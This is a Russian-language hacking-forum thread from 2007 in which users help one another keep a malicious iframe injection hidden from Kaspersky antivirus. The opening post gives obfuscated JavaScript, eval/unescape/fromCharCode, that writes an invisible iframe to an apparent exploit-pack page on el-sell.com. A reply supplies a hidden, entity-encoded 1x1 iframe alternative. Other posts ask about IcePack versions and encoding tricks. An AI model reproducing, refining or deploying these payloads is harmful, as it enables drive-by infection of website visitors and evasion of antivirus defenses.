Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Защита ОС: вирусы, антивирусы, файрволы. (https://forum.antichat.xyz/forumdisplay.php?f=80)
-   -   палящийся код (https://forum.antichat.xyz/showthread.php?t=57007)

KIB0RG 31.12.2007 15:58

палящийся код
 
PHP код:

<script language="JavaScript"> eval(unescape("document.write%28String.fromCharCode%2860%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C119%2C119%2C119%2C46%2C101%2C108%2C45%2C115%2C101%2C108%2C108%2C46%2C99%2C111%2C109%2C47%2C110%2C117%2C99%2C47%2C105%2C110%2C100%2C101%2C120%2C46%2C112%2C104%2C112%2C34%2C32%2C119%2C105%2C100%2C116%2C104%2C61%2C34%2C48%2C34%2C32%2C104%2C101%2C105%2C103%2C104%2C116%2C61%2C34%2C48%2C34%2C62%2C60%2C47%2C105%2C102%2C114%2C97%2C109%2C101%2C62%29%29%3B")); </script

вот этот код палиться Касперов, чем можно его шифрануть чтобы Он остался рабочим, но каспер молчал?
заранее спасибо

(кстати, почему в коде появились проблеы во впремя ПОстинга?)

Piflit 31.12.2007 16:11

http://www.el-sell.com/nuc/admin/
новый чтоле?

рекурсивные айфреймы? че за бред?

KIB0RG 31.12.2007 16:16

та не, старый

так чем можно скрыть?

кста, какая последняя версия айспака?

KIB0RG 31.12.2007 16:49

Цитата:

Сообщение от Piflit
рекурсивные айфреймы? че за бред?

да я хз, каспер ругаеться только на этот код!
как его скрыть - я хз

aka PSIH 31.12.2007 16:53

Скорее всего это не код палиться, я сама связка...

Пробуй так, в твоем случае (http://www.el-sell.com/nuc/index.php)
Код HTML:

<iframe src="&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x77;&#x77;&#x77;&#x2E;&#x65;&#x6C;&#x2D;&#x73;&#x65;&#x6C;&#x6C;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x6E;&#x75;&#x63;&#x2F;&#x69;&#x6E;&#x64;&#x65;&#x78;&#x2E;&#x70;&#x68;&#x70;" width="1" height="1" style="display:none"></iframe>
ТОлько без разницы как ты iframe повесишь, если сам сплойт палится...

KIB0RG 31.12.2007 17:17

не, у меня НИЧего не палиться кроме страници index.php, начал я ее резать на части каспер орал только На тот код который я выложл в 1 посте, тоесть
PHP код:

<script language="JavaScript"> eval(unescape("document.write%28String.fromCharCode%2860%2C105%2C  102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2  C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C  119%2C119%2C119%2C46%2C101%2C108%2C45%2C115%2C101%  2C108%2C108%2C46%2C99%2C111%2C109%2C47%2C110%2C117  %2C99%2C47%2C105%2C110%2C100%2C101%2C120%2C46%2C11  2%2C104%2C112%2C34%2C32%2C119%2C105%2C100%2C116%2C  104%2C61%2C34%2C48%2C34%2C32%2C104%2C101%2C105%2C1  03%2C104%2C116%2C61%2C34%2C48%2C34%2C62%2C60%2C47%  2C105%2C102%2C114%2C97%2C109%2C101%2C62%29%29%3B")); </script

заменить на это?
PHP код:

<iframe src="&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x77;&#x77;&#x77;&#x2E;&#x65;&#x6C;&#x2D;&#x73;&#x65;&#x6C;&#x6C;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x6E;&#x75;&#x63;&#x2F;&#x69;&#x6E;&#x64;&#x65;&#x78;&#x2E;&#x70;&#x68;&#x70;" width="1" height="1" style="display:none"></iframe

PS: АйсПак Платинум - это последняя версия? или есть еще более новые?

.Striker 31.12.2007 23:11

подскажите каким образом вы кодируете ифреймы?

KIB0RG 01.01.2008 20:17

да кстати, тоже интересует

GROB_T 01.01.2008 20:53

.Striker, KIB0RG, почитайте мануалы по JavaScript

Soviet[HZ] 01.01.2008 20:54

Попробуй в url кодирову перевести )


Время: 23:22